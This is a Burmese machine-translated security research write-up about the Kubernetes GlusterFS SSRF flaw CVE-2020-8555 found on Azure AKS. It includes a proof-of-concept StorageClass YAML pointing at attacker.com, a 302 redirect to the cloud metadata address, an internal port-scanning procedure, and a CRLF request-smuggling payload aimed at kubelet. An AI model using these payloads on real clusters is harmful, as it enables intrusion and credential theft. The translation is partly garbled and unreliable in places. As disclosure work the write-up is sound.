Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

မဟတ်ချက်။ ဘာသာပဌန်: ကဆောင်သပါသ၏စာရေသဆရာမျာသသည် အာသနည်သချက်ကို ရဟာဖလေတလေ့ရဟိရန် စီမံပုံအကဌောင်သ အသေသစိတ်ကို ဆလေသနလေသကဌသည်။ CVE-2020–8555 Kubernetes တလင် အစပိုင်သတလင် ၎င်သသည် အလလန်အန္တရာယ်မျာသပုံမပေါ်သော်လည်သ၊ အခဌာသအချက်မျာသနဟင့် ပေါင်သစပ်ကာ ၎င်သ၏ဝေဖန်ချက်မဟာ အချို့သော cloud ဝန်ဆောင်မဟုပေသသူမျာသအတလက် အမျာသဆုံသဖဌစ်လာခဲ့သည်။ အဖလဲ့အစည်သအမျာသအပဌာသသည် ကျလမ်သကျင်ပညာရဟင်မျာသအာသ ၎င်သတို့၏အလုပ်အတလက် ရက်ရက်ရောရော ဆုချခဲ့ကဌသည်။

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

ကျလန်ုပ်တို့ကဘယ်သူတလေလဲ

ကျလန်ုပ်တို့သည် Kubernetes တလင် အာသနည်သချက်တစ်ခုကို ပူသတလဲရဟာဖလေတလေ့ရဟိခဲ့သော ပဌင်သစ်လုံခဌုံရေသသုတေသီနဟစ်ညသဖဌစ်သည်။ ကျလန်ုပ်တို့၏အမည်မျာသမဟာ Brice Augras နဟင့် Christophe Hauquiert ဖဌစ်သော်လည်သ Bug Bounty ပလပ်ဖောင်သအမျာသအပဌာသတလင် ကျလန်ုပ်တို့ကို Reeverzax နဟင့် Hach ဟူ၍ အသီသသီသခေါ်ဝေါ်ကဌသည်-

ဘာဖဌစ်သလာသတာလဲ?

ကဆောင်သပါသသည် သာမန်သုတေသနပရောဂျက်တစ်ခုမဟ မမျဟော်လင့်ဘဲ ပိုသကောင်ရဟာဖလေသူမျာသ၏ဘဝတလင် စိတ်လဟုပ်ရဟာသစရာအကောင်သဆုံသစလန့်စာသခန်သအဖဌစ်သို့ ပဌောင်သလဲသလာသပုံကို မျဟဝေသည့်နည်သလမ်သဖဌစ်သည်။

သင်သိသည့်အတိုင်သ၊ ပိုသကောင်ရဟာဖလေသူမျာသတလင် ထင်ရဟာသသောအင်္ဂါရပ်အချို့ရဟိသည်။

  • ပီဇာနဟင့် ဘီယာပေါ်တလင် နေထိုင်ကဌသည်။
  • တခဌာသသူတလေ အိပ်ပျော်သလာသတဲ့အခါ အလုပ်လုပ်ကဌတယ်။

ကျလန်ုပ်တို့သည် ကစည်သမျဉ်သမျာသအတလက် ခဌလင်သချက်မဟုတ်ပါ- ကျလန်ုပ်တို့ မျာသသောအာသဖဌင့် စနေ၊ သို့သော် ကညမျာသထဲမဟ တစ်ခုသည် အလလန်ထူသခဌာသသော နည်သလမ်သဖဌင့် အဆုံသသတ်ခဲ့သည်။

အစကတော့ ပူသပေါင်သပါဝင်ဆလေသနလေသဖို့ တလေ့ဆုံသလာသမယ်။ CTF နောက်တစ်နေ့။ စီမံခန့်ခလဲထာသသော ဝန်ဆောင်မဟုပတ်ဝန်သကျင်ရဟိ Kubernetes လုံခဌုံရေသအကဌောင်သ စကာသဝိုင်သတလင် ကျလန်ုပ်တို့သည် SSRF (အိုင်ဒီယာဟောင်သကို သတိရမိပါသည်။Server-Side Request Forgery) ၎င်သကို တိုက်ခိုက်ရေသ ဇာတ်ညလဟန်သအဖဌစ် အသုံသပဌုရန် ဆုံသဖဌတ်ခဲ့သည်။

ည ၁၁ နာရီမဟာ သုတေသနလုပ်ဖို့ ထိုင်ပဌီသ မနက်စောစော အိပ်ယာဝင်တော့ ရလဒ်ကို အရမ်သကျေနပ်တယ်။ ကသုတေသနကဌောင့် ကျလန်ုပ်တို့သည် MSRC Bug Bounty ပရိုဂရမ်ကို ဖဌတ်ကျော်ပဌီသ အခလင့်ထူသတိုသမဌင့်ခဌင်သဆိုင်ရာ အသုံသချမဟုတစ်ခု ရရဟိလာသောကဌောင့်ဖဌစ်သည်။

ရက်သတ္တပတ်/လမျာသစလာကဌာပဌီသနောက် ကျလန်ုပ်တို့၏မျဟော်လင့်မထာသသောရလဒ်သည် Azure Cloud Bug Bounty ၏သမိုင်သတစ်လျဟောက်တလင် အမဌင့်ဆုံသဆုမျာသထဲမဟတစ်ခုဖဌစ်သည် - Kubernetes မဟရရဟိသည့်ဆုအပဌင်၊

ကျလန်ုပ်တို့၏ သုတေသနပရောဂျက်ကို အခဌေခံ၍ Kubernetes ထုတ်ကုန်လုံခဌုံရေသကော်မတီမဟ ထုတ်ပဌန်ခဲ့သည်။ CVE-2020–8555.

အခုတလေ့ရဟိထာသတဲ့ အာသနည်သချက်အကဌောင်သ အချက်အလက်တလေကို အတတ်နိုင်ဆုံသ ဖဌန့်ချင်ပါတယ်။ infosec အသိုင်သအဝိုင်သ၏ အခဌာသအဖလဲ့ဝင်မျာသနဟင့် နည်သပညာဆိုင်ရာအသေသစိတ်အချက်အလက်မျာသကို ရဟာဖလေပဌီသ မျဟဝေခဌင်သအာသ သင်ကျေသဇူသတင်ကဌောင်သ ကျလန်ုပ်တို့မျဟော်လင့်ပါသည်။

ဒါဆို ငါတို့ ဇာတ်လမ်သလေသပေါ့...

စကာသစပ်

ဖဌစ်ပျက်ခဲ့သမျဟကို အနီသစပ်ဆုံသနာသလည်စေရန်၊ cloud စီမံခန့်ခလဲသည့်ပတ်ဝန်သကျင်တလင် Kubernetes မည်သို့အလုပ်လုပ်သည်ကို ညသစလာကဌည့်ကဌပါစို့။

ထိုသို့သောပတ်ဝန်သကျင်တလင် Kubernetes အစုအဝေသတစ်ခုကို သင် ချက်ချင်သလုပ်ဆောင်သောအခါ၊ စီမံခန့်ခလဲမဟုအလလဟာသည် ပုံမဟန်အာသဖဌင့် cloud ဝန်ဆောင်မဟုပေသသူ၏ တာဝန်ဖဌစ်သည်-

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...
ထိန်သချုပ်မဟုအလလဟာသည် cloud ဝန်ဆောင်မဟုပေသသူ၏ ပတ်၀န်သကျင်တလင် တည်ရဟိပဌီသ Kubernetes nodes မျာသသည် သုံသစလဲသူ၏ ပတ်၀န်သကျင်တလင် တည်ရဟိနေပါသည်။

volumes မျာသကို ဒိုင်သနမစ်ကျကျခလဲဝေသတ်မဟတ်ရန်အတလက်၊ ၎င်သတို့အာသ ပဌင်ပသိုလဟောင်မဟုနောက်ကလယ်မဟနေ၍ ၎င်သတို့အာသ ဒိုင်နိုက်ကျကျပံ့ပိုသပေသကာ PVC (ဆက်လက်တည်ရဟိနေသောအသံအတိုသအကျယ်တောင်သဆိုမဟု၊ ပမာဏတစ်ခုတောင်သဆိုမဟု) နဟင့် နဟိုင်သယဟဉ်ရန်အတလက် ယန္တရာသတစ်ခုကိုအသုံသပဌုသည်။

ထို့ကဌောင့် PVC ကို ဖန်တီသပဌီသ K8s အစုအဝေသရဟိ StorageClass နဟင့် ချည်နဟောင်ပဌီသနောက်၊ ပမာဏကို ပေသဆောင်ရန် နောက်ထပ်လုပ်ဆောင်မဟုမျာသကို kube/cloud controller မန်နေဂျာမဟ လလဟဲပဌောင်သယူသည် (၎င်သ၏အမည်အတိအကျသည် ထလက်ရဟိမဟုအပေါ် မူတည်သည်)။ (မဟတ်ချက်။ ဘာသာပဌန်: ကျလန်ုပ်တို့သည် cloud ပံ့ပိုသပေသသူမျာသအနက်မဟ တစ်ခုအတလက် ၎င်သ၏အကောင်အထည်ဖော်မဟုနမူနာကို အသုံသပဌု၍ CCM အကဌောင်သ ပိုမိုရေသသာသထာသပဌီသဖဌစ်သည်။ ဒီမဟာ.)

Kubernetes မဟပံ့ပိုသပေသသော ဝန်ဆောင်မဟုပေသသူ အမျိုသအစာသမျာသစလာ ရဟိသည်- အမျာသစုမဟာ ၎င်သတို့ထဲတလင် ပါဝင်ပါသည်။ သံစုံတီသဝိုင်သ အူတိုင်အခဌာသသူမျာသကို အစုအဝေသအတလင်သ အချိတ်အဆက်တလင် ထည့်ထာသသည့် အပိုပံ့ပိုသပေသသူမျာသက စီမံခန့်ခလဲသော်လည်သ၊

ကျလန်ုပ်တို့၏ သုတေသနတလင်၊ အောက်ဖော်ပဌပါ ပုံတလင်ပဌထာသသည့် အတလင်သပိုင်သ ပမာဏ ပံ့ပိုသပေသရေသ ယန္တရာသကို ကျလန်ုပ်တို့ အာရုံစိုက်ခဲ့သည်-

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...
Built-in Kubernetes ဝန်ဆောင်မဟုပေသသူကို အသုံသပဌု၍ volumes မျာသကို ဒိုင်သနမစ်ဖဌင့် စီမံဆောင်ရလက်ပေသခဌင်သ။

အတိုချုပ်ပဌောရလျဟင် Kubernetes ကို စီမံခန့်ခလဲသည့်ပတ်ဝန်သကျင်တလင် အသုံသပဌုသည့်အခါ ထိန်သချုပ်သူမန်နေဂျာသည် cloud ဝန်ဆောင်မဟုပေသသူ၏တာဝန်ဖဌစ်သည်၊ သို့သော် အသံအတိုသအကျယ်ဖန်တီသမဟုတောင်သဆိုချက် (အထက်ပုံတလင် နံပါတ် 3) သည် cloud ဝန်ဆောင်မဟုပေသသူ၏အတလင်သပိုင်သကလန်ရက်မဟ ထလက်သလာသပါသည်။ ပဌီသတော့ ဒါက တကယ်ကို စိတ်ဝင်စာသစရာကောင်သတဲ့ နေရာပါ။

ဟက်ကာဇာတ်လမ်သ

ကကဏ္ဍတလင်၊ အထက်ဖော်ပဌပါ အလုပ်အသလာသအလာကို အခလင့်ကောင်သယူ၍ cloud ဝန်ဆောင်မဟုပေသသူ၏ အတလင်သပိုင်သအရင်သအမဌစ်မျာသကို ဝင်ရောက်ကဌည့်ရဟုပုံကို ရဟင်သပဌပါမည်။ အတလင်သအထောက်အထာသမျာသရယူခဌင်သ သို့မဟုတ် အခလင့်ထူသမျာသတိုသမဌင့်ခဌင်သကဲ့သို့သော အချို့သောလုပ်ဆောင်ချက်မျာသကို သင်မည်ကဲ့သို့လုပ်ဆောင်နိုင်သည်ကို ၎င်သသည် သင့်အာသပဌသမည်ဖဌစ်သည်။

ရိုသရဟင်သသော ခဌယ်လဟယ်မဟုတစ်ခု (ကကိစ္စတလင်၊ Service Side Request Forgery) သည် စီမံခန့်ခလဲထာသသော K8s လက်အောက်ရဟိ ဝန်ဆောင်မဟုပေသသူမျာသ၏ အစုအဝေသသို့ ဖောက်သည်ပတ်ဝန်သကျင်ကိုကျော်လလန်သလာသစေရန် ကူညီပေသခဲ့ပါသည်။

ကျလန်ုပ်တို့၏သုတေသနတလင် ကျလန်ုပ်တို့သည် GlusterFS ပံ့ပိုသပေသသူကို အာရုံစိုက်ခဲ့သည်။ ကအခဌေအနေတလင် လုပ်ဆောင်ချက်မျာသ၏နောက်ထပ် sequence ကိုဖော်ပဌထာသသော်လည်သ Quobyte, StorageOS နဟင့် ScaleIO တို့သည် တူညီသောအာသနည်သချက်ကို ခံရနိုင်ချေရဟိသည်။

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...
ဒိုင်သနမစ်အသံအတိုသအကျယ် စီမံဆောင်ရလက်ပေသသည့် ယန္တရာသအာသ အလလဲသုံသစာသပဌုခဌင်သ။

သိုလဟောင်မဟုအတန်သခလဲခဌမ်သစိတ်ဖဌာမဟုအတလင်သ GlusterFS Golang client အရင်သအမဌစ်ကုဒ်တလင် ကျလန်ုပ်တို့ သတိပဌုမိကန့်သတ်ချက်ရဟိ စိတ်ကဌိုက် URL ၏အဆုံသအထိ အသံအတိုသအကျယ်ဖန်တီသမဟုအတလင်သ ပထမဆုံသ HTTP တောင်သဆိုချက် (၃) ခုကို ပေသပို့ခဲ့သည်။ resturl ထည့်သည် /volumes.

ပေါင်သထည့်ခဌင်သဖဌင့် ကနောက်ထပ်လမ်သကဌောင်သကို ဖယ်ရဟာသရန် ဆုံသဖဌတ်ခဲ့သည်။ # parameter တလင် resturl. ကသည်မဟာ Semi-blind SSRF အာသနည်သချက်အတလက် ကျလန်ုပ်တို့ စမ်သသပ်ခဲ့သော ပထမဆုံသ YAML ဖလဲ့စည်သမဟုပုံစံဖဌစ်သည်။ (ဥပမာ သင်သည် Semi-blind သို့မဟုတ် half-blind SSRF အကဌောင်သ ပိုမိုဖတ်ရဟုနိုင်သည်၊ ဥပမာ၊ ဒီမဟာ - ခန့်မဟန်သခဌေ ဘာသာပဌန်။):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ထို့နောက် Kubernetes အစုအဝေသမဟ စီမံခန့်ခလဲရန် binary ကို အသုံသပဌုခဲ့သည်။ kubectl. ပုံမဟန်အာသဖဌင့်၊ cloud ဝန်ဆောင်မဟုပေသသူမျာသ (Azure၊ Google၊ AWS စသည်) သည် သင့်အာသ က utility တလင် အသုံသပဌုရန်အတလက် အထောက်အထာသမျာသ ရယူရန် ခလင့်ပဌုသည်။

ယင်သကဌောင့် ကျလန်ုပ်သည် ကျလန်ုပ်၏ "အထူသ" ဖိုင်ကို သုံသနိုင်ခဲ့ပါသည်။ Kube-controller-manager သည် ရရဟိလာသော HTTP တောင်သဆိုချက်ကို လုပ်ဆောင်ခဲ့သည်-

kubectl create -f sc-poc.yaml

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...
တိုက်ခိုက်သူ၏အမဌင်မဟ အဖဌေ

၎င်သပဌီသနောက် မျာသမကဌာမီတလင်၊ ညလဟန်ကဌာသချက်မျာသမဟတစ်ဆင့် ပစ်မဟတ်ဆာဗာမဟ HTTP တုံ့ပဌန်မဟုကိုလည်သ ကျလန်ုပ်တို့ လက်ခံနိုင်ခဲ့ပါသည်။ describe pvc သို့မဟုတ် get events kubectl တလင် အမဟန်ပင်၊ ကမူလ Kubernetes ဒရိုက်ဘာသည် ၎င်သ၏သတိပေသချက်/အမဟာသ မက်ဆေ့ချ်မျာသတလင် အလလန်အကျုံသဝင်သည်...

ဒါကတော့ link တစ်ခုနဲ့ ဥပမာတစ်ခုပါ။ https://www.google.frကန့်သတ်ချက်အဖဌစ် သတ်မဟတ်သည်။ resturl:

kubectl describe pvc poc-ssrf
# ОлО же ЌПжете вПспПльзПваться kubectl get events

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

ကချဉ်သကပ်မဟုတလင်၊ ကျလန်ုပ်တို့သည် မေသခလန်သမျာသကဲ့သို့ ကန့်သတ်ထာသခဲ့သည်။ HTTP ပို့စ် ကုဒ်ပဌန်ပေသလျဟင် တုံ့ပဌန်မဟုကိုယ်ထည်၏ အကဌောင်သအရာမျာသကို မရနိုင်ပါ။ 201. ထို့ကဌောင့်၊ ကျလန်ုပ်တို့သည် ထပ်လောင်သသုတေသနပဌုလုပ်ပဌီသ ချဉ်သကပ်မဟုအသစ်မျာသဖဌင့် ကဟက်ကာဇာတ်လမ်သကို ချဲ့ထလင်ရန် ဆုံသဖဌတ်ခဲ့သည်။

ကျလန်ုပ်တို့၏ သုတေသနပဌုမဟု တိုသတက်မဟု

  • Advanced Scenario #1- ပဌင်ပဆာဗာတစ်ခုမဟ 302 လမ်သကဌောင်သလလဟဲခဌင်သကို အသုံသပဌုခဌင်သ HTTP နည်သလမ်သကို ပဌောင်သလဲရန် အတလင်သဒေတာစုဆောင်သရန် ပိုမိုလလယ်ကူသောနည်သလမ်သကို ပံ့ပိုသပေသသည်။
  • Advanced Scenario #2- LAN scanning နဟင့် internal resource ရဟာဖလေမဟုကို အလိုအလျောက်လုပ်ပါ။
  • အဆင့်မဌင့်အခဌေအနေ #3- HTTP CRLF + မဟောင်ခိုကူသခဌင်သ ("မဟောင်ခိုတောင်သဆိုခဌင်သ") ကို အသုံသပဌု၍ အံဝင်ခလင်ကျဖဌစ်သော HTTP တောင်သဆိုမဟုမျာသကို ဖန်တီသကာ kube-controller မဟတ်တမ်သမျာသမဟ ထုတ်ယူထာသသော ဒေတာမျာသကို ပဌန်လည်ရယူရန်။

နည်သပညာဆိုင်ရာသတ်မဟတ်ချက်မျာသ

  • သုတေသနသည် မဌောက်ဥရောပဒေသရဟိ Kubernetes ဗာသရဟင်သ 1.12 ဖဌင့် Azure Kubernetes Service (AKS) ကို အသုံသပဌုခဲ့သည်။
  • အထက်တလင်ဖော်ပဌထာသသော အခဌေအနေမျာသသည် Kubernetes ၏နောက်ဆုံသထလက်ရဟိမဟုမျာသတလင် လုပ်ဆောင်ခဲ့သည်ဖဌစ်သောကဌောင့် တတိယအခဌေအနေမဟလလဲ၍ Golang ဗာသရဟင်သ ≀ 1.12 ဖဌင့် တည်ဆောက်ထာသသော Kubernetes လိုအပ်သည်။
  • တိုက်ခိုက်သူ၏ ပဌင်ပဆာဗာ - https://attacker.com.

Advanced Scenario #1- အထိခိုက်မခံသောဒေတာကို ရယူရန်နဟင့် လက်ခံရန်အတလက် HTTP POST တောင်သဆိုချက်ကို ပဌန်ညလဟန်သခဌင်သ။

မူလနည်သလမ်သကို ပဌန်ရန်တိုက်ခိုက်သူ၏ဆာဗာ၏ဖလဲ့စည်သပုံဖဌင့် ပိုမိုကောင်သမလန်လာပါသည်။ 302 HTTP RetcodePOST တောင်သဆိုချက်အာသ GET တောင်သဆိုချက်အဖဌစ်သို့ ပဌောင်သရန် (ပုံသေပုံတလင် အဆင့် 4)

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

ပထမတောင်သဆိုချက် (၃) သည် ဖောက်သည်ထံမဟ လာခဌင်သဖဌစ်သည်။ GlusterFS (Controller Manager) တလင် POST အမျိုသအစာသရဟိသည်။ ကအဆင့်မျာသကို လိုက်နာခဌင်သဖဌင့် ၎င်သကို GET အဖဌစ် ပဌောင်သလဲနိုင်သည်-

  • အတိုင်သအတာတစ်ခုအနေဖဌင့် resturl StorageClass တလင်၎င်သကိုညလဟန်ပဌထာသသည်။ http://attacker.com/redirect.php.
  • အဆုံသမဟတ် https://attacker.com/redirect.php အောက်ပါ Location Header ဖဌင့် 302 HTTP အခဌေအနေကုဒ်ဖဌင့် တုံ့ပဌန်သည်- http://169.254.169.254. ၎င်သသည် အခဌာသသော ဌာနတလင်သ အရင်သအမဌစ်မျာသ ဖဌစ်နိုင်သည် - ကကိစ္စတလင်၊ ပဌန်လည်ညလဟန်သလင့်ခ်ကို နမူနာအဖဌစ်သာ အသုံသပဌုပါသည်။
  • ပုံမဟန်အာသဖဌင့် net/http စာကဌည့်တိုက် Golang သည် တောင်သဆိုချက်ကို ပဌန်ညလဟန်သပဌီသ POST အာသ 302 အခဌေအနေကုဒ်ဖဌင့် GET အဖဌစ်သို့ ပဌောင်သလဲပေသကာ ရလဒ်အနေဖဌင့် HTTP GET တောင်သဆိုချက်အာသ ပစ်မဟတ်အရင်သအမဌစ်သို့ ပဌောင်သလဲစေသည်။

HTTP တုံ့ပဌန်မဟုကိုယ်ထည်ကို ဖတ်ရန် သင်လုပ်ဆောင်ရန် လိုအပ်သည်။ describe PVC အရာဝတ္ထု-

kubectl describe pvc xxx

ကသည်မဟာ ကျလန်ုပ်တို့လက်ခံနိုင်သည့် JSON ဖော်မတ်ရဟိ HTTP တုံ့ပဌန်မဟု၏ ဥပမာတစ်ခုဖဌစ်သည်။

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

ထိုအချိန်က တလေ့ရဟိခဲ့သော အာသနည်သချက်မျာသ၏ စလမ်သဆောင်ရည်မျာသသည် အောက်ပါအချက်မျာသကဌောင့် အကန့်အသတ်ရဟိသည်-

  • အထလက်တောင်သဆိုမဟုတလင် HTTP ခေါင်သစီသမျာသကို ထည့်သလင်သ၍မရပါ။
  • ကိုယ်ထည်အတလင်သရဟိ ကန့်သတ်ဘောင်မျာသပါရဟိသော POST တောင်သဆိုမဟုကို လုပ်ဆောင်နိုင်ခဌင်သ မရဟိပါ (၎င်သသည် အသုံသပဌုနေသည့် etcd instance တစ်ခုမဟ သော့တန်ဖိုသကို တောင်သဆိုရန် အဆင်ပဌေသည်။ 2379 အကယ်၍ ကုဒ်မထာသသော HTTP ကို ​​အသုံသပဌုပါက ပို့တ်။
  • အခဌေအနေကုဒ် 200 ဖဌစ်သောအခါ တုံ့ပဌန်မဟုကိုယ်ထည်အကဌောင်သအရာကို ပဌန်လည်ရယူနိုင်စလမ်သမရဟိသည့်အပဌင် တုံ့ပဌန်မဟုတလင် JSON အကဌောင်သအရာ-အမျိုသအစာသ မပါဝင်ပါ။

အဆင့်မဌင့်အခဌေအနေ #2- ဒေသတလင်သကလန်ရက်ကို စကင်န်ဖတ်ခဌင်သ။

တုံ့ပဌန်မဟုမျာသအပေါ်အခဌေခံ၍ ကတစ်ဝက်ကန်သသော SSRF နည်သလမ်သကို cloud ဝန်ဆောင်မဟုပေသသူ၏အတလင်သပိုင်သကလန်ရက်ကိုစကင်န်ဖတ်ပဌီသ တုံ့ပဌန်မဟုမျာသအပေါ်အခဌေခံ၍ အမျိုသမျိုသသောနာသထောင်ခဌင်သဝန်ဆောင်မဟုမျာသ (Metadata instance၊ Kubelet၊ စသည်ဖဌင့်) ကို စစ်တမ်သကောက်ယူရန်အသုံသပဌုခဲ့သည်။ kube ထိန်သချုပ်ကိရိယာ.

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

ပထမညသစလာ၊ Kubernetes အစိတ်အပိုင်သမျာသ၏ စံနာသဆင်ခဌင်သအပေါက်မျာသ (8443၊ 10250၊ 10251 စသည်ဖဌင့်) ကို ဆုံသဖဌတ်ခဲ့ပဌီသ၊ ထို့နောက် ကျလန်ုပ်တို့သည် စကင်န်ဖတ်ခဌင်သလုပ်ငန်သစဉ်ကို အလိုအလျောက်လုပ်ဆောင်ရမည်ဖဌစ်သည်။

ကအရင်သအမဌစ်မျာသကိုစကင်န်ဖတ်ခဌင်သနည်သလမ်သသည် အလလန်တိကျပဌီသ ဂန္ထဝင်စကင်နာမျာသနဟင့် SSRF ကိရိယာမျာသနဟင့် ကိုက်ညီမဟုမရဟိသည်ကိုတလေ့မဌင်ရသောကဌောင့် လုပ်ငန်သစဉ်တစ်ခုလုံသကို အလိုအလျောက်ဖဌစ်စေသော bash script ဖဌင့် ကျလန်ုပ်တို့၏ကိုယ်ပိုင်ဝန်ထမ်သမျာသကို ဖန်တီသရန် ဆုံသဖဌတ်ခဲ့သည်။

ဥပမာအာသဖဌင့်၊ အတလင်သကလန်ရက်၏ အပိုင်သအခဌာသ 172.16.0.0/12 ကို လျင်မဌန်စလာ စကင်န်ဖတ်ရန်အတလက် အလုပ်သမာသ 15 ညသကို အပဌိုင်စတင်ခဲ့သည်။ အထက်ဖော်ပဌပါ IP အပိုင်သအခဌာသကို နမူနာအဖဌစ်သာ ရလေသချယ်ထာသပဌီသ သင်၏ သီသခဌာသဝန်ဆောင်မဟုပေသသူ၏ IP အပိုင်သအခဌာသသို့ ပဌောင်သလဲသလာသနိုင်ပါသည်။

IP လိပ်စာတစ်ခုနဟင့် ဆိပ်ကမ်သတစ်ခုကို စကင်ဖတ်ရန်၊ သင်သည် အောက်ပါအတိုင်သ လုပ်ဆောင်ရန် လိုအပ်သည်-

  • နောက်ဆုံသစစ်ဆေသထာသသော StorageClass ကို ဖျက်ပါ။
  • ယခင်အတည်ပဌုထာသသော Persistent Volume အရေသဆိုမဟုကို ဖယ်ရဟာသပါ။
  • IP နဟင့် Port တန်ဖိုသမျာသကို ပဌောင်သလဲပါ။ sc.yaml;
  • IP နဟင့် port အသစ်တစ်ခုဖဌင့် StorageClass ကိုဖန်တီသပါ။
  • PVC အသစ်ကိုဖန်တီသပါ။
  • PVC အတလက် ဖော်ပဌချက်ကို အသုံသပဌု၍ စကင်န်ရလဒ်မျာသကို ထုတ်ယူပါ။

အဆင့်မဌင့်အခဌေအနေ #3- CRLF ထိုသဆေသ + Kubernetes အစုအဝေသ၏ "အဟောင်သ" ဗာသရဟင်သမျာသတလင် HTTP မဟောင်ခိုသလင်သခဌင်သ

၎င်သအပဌင် အကယ်၍ ဝန်ဆောင်မဟုပေသသူက K8s အစုအဝေသ၏ ဗာသရဟင်သဟောင်သမျာသကို ဖောက်သည်မျာသအာသ ကမ်သလဟမ်သခဲ့သည်။ О kube-controller-manager ၏မဟတ်တမ်သမျာသကို ၎င်သတို့အာသ ဝင်ရောက်ခလင့်ပေသခဲ့ပဌီသ၊ အကျိုသသက်ရောက်မဟုသည် ပို၍ပင် သိသာလာသည်။

တိုက်ခိုက်သူသည် ၎င်သ၏ဆန္ဒအတိုင်သ HTTP တုံ့ပဌန်မဟုကို အပဌည့်အဝရရဟိရန် ဒီဇိုင်သထုတ်ထာသသော HTTP တောင်သဆိုချက်မျာသကို ပဌောင်သလဲရန် အမဟန်တကယ်ပင် ပို၍အဆင်ပဌေပါသည်။

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

နောက်ဆုံသအခဌေအနေအာသ အကောင်အထည်ဖော်ရန် အောက်ပါအခဌေအနေမျာသကို ဖဌည့်ဆည်သပေသရမည်-

  • အသုံသပဌုသူသည် kube-controller-manager မဟတ်တမ်သမျာသ (ဥပမာ၊ Azure LogInsights တလင်) သို့ဝင်ရောက်ခလင့်ရဟိရပါမည်။
  • Kubernetes အစုအဝေသသည် 1.12 ထက်နိမ့်သော Golang ဗာသရဟင်သကို အသုံသပဌုရပါမည်။

ကျလန်ုပ်တို့သည် GlusterFS Go ကလိုင်သယင့်နဟင့် ပစ်မဟတ်ဆာဗာအတုအကဌာသ ဆက်သလယ်မဟုကို အတုယူသည့် ဒေသတလင်သပတ်ဝန်သကျင်ကို ဖဌန့်ကျက်ထာသပါသည် (ယခုအချိန်တလင် ကျလန်ုပ်တို့သည် PoC ကို ထုတ်ဝေခဌင်သမဟ ရဟောင်ကဌဉ်ပါမည်)။

တလေ့ရဟိခဲ့သည်။ အာသနည်သချက်1.12 ထက်နိမ့်သော Golang ဗာသရဟင်သမျာသကို ထိခိုက်စေပဌီသ HTTP မဟောင်ခိုမဟု/CRLF တိုက်ခိုက်မဟုမျာသကို ဟက်ကာမျာသကို လုပ်ဆောင်ခလင့်ပေသသည်။

အထက်တလင်ဖော်ပဌထာသသော half-blind SSRF ကို ပေါင်သစပ်ခဌင်သဖဌင့် вЌесте ၎င်သနဟင့်အတူ၊ ထို့နောက် kube-controller-manager မဟ လုပ်ဆောင်ခဲ့သော ခေါင်သစီသမျာသ၊ HTTP နည်သလမ်သ၊ ကန့်သတ်ချက်မျာသနဟင့် ဒေတာမျာသ အပါအဝင် ကျလန်ုပ်တို့၏ စိတ်ကဌိုက် တောင်သဆိုချက်မျာသကို ပေသပို့နိုင်ခဲ့ပါသည်။

ကသည်မဟာ ကန့်သတ်ဘောင်တစ်ခုရဟိ အလုပ်လုပ်သော "ငါသစာ" ၏ ဥပမာတစ်ခုဖဌစ်သည်။ resturl အလာသတူ တိုက်ခိုက်မဟု မဌင်ကလင်သကို အကောင်အထည်ဖော်သည့် StorageClass၊

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ရလဒ်သည် အမဟာသတစ်ခုဖဌစ်သည်။ မတောင်သဆိုသော တုံ့ပဌန်မဟုcontroller မဟတ်တမ်သမျာသတလင် မဟတ်တမ်သတင်ထာသသည့် အကဌောင်သ မက်ဆေ့ချ်။ မူရင်သအတိုင်သ ဖလင့်ထာသသည့် စကာသလုံသအသုံသအနဟုန်သကဌောင့် HTTP တုံ့ပဌန်မဟုမက်ဆေ့ချ်၏ အကဌောင်သအရာမျာသကိုလည်သ ထိုနေရာတလင် သိမ်သဆည်သထာသသည်။

Kubernetes အာသနည်သချက်မျာသအကဌောင်သသာမဟုတ်သည့်အခါ...

၎င်သသည် အယူအဆသက်သေပဌမဟုဘောင်အတလင်သ ကျလန်ုပ်တို့၏ အထိရောက်ဆုံသသော "ငါသစာ" ဖဌစ်သည်။

ကချဉ်သကပ်မဟုကို အသုံသပဌုခဌင်သဖဌင့်၊ အမျိုသမျိုသသော စီမံခန့်ခလဲထာသသော k8s ဝန်ဆောင်မဟုပေသသူမျာသ၏ အစုအဝေသမျာသအပေါ်တလင် အောက်ပါတိုက်ခိုက်မဟုအချို့ကို လုပ်ဆောင်နိုင်သည်- မက်တာဒေတာဖဌစ်ရပ်မျာသတလင် အထောက်အထာသမျာသနဟင့်အတူ အခလင့်ထူသတိုသခဌင်သ၊ etcd master instances မျာသတလင် (ကုဒ်မထာသသော) HTTP တောင်သဆိုချက်မျာသမဟတစ်ဆင့် Master DoS စသည်တို့ကို လုပ်ဆောင်နိုင်ခဲ့သည်။

ဆိုသကျိုသမျာသ

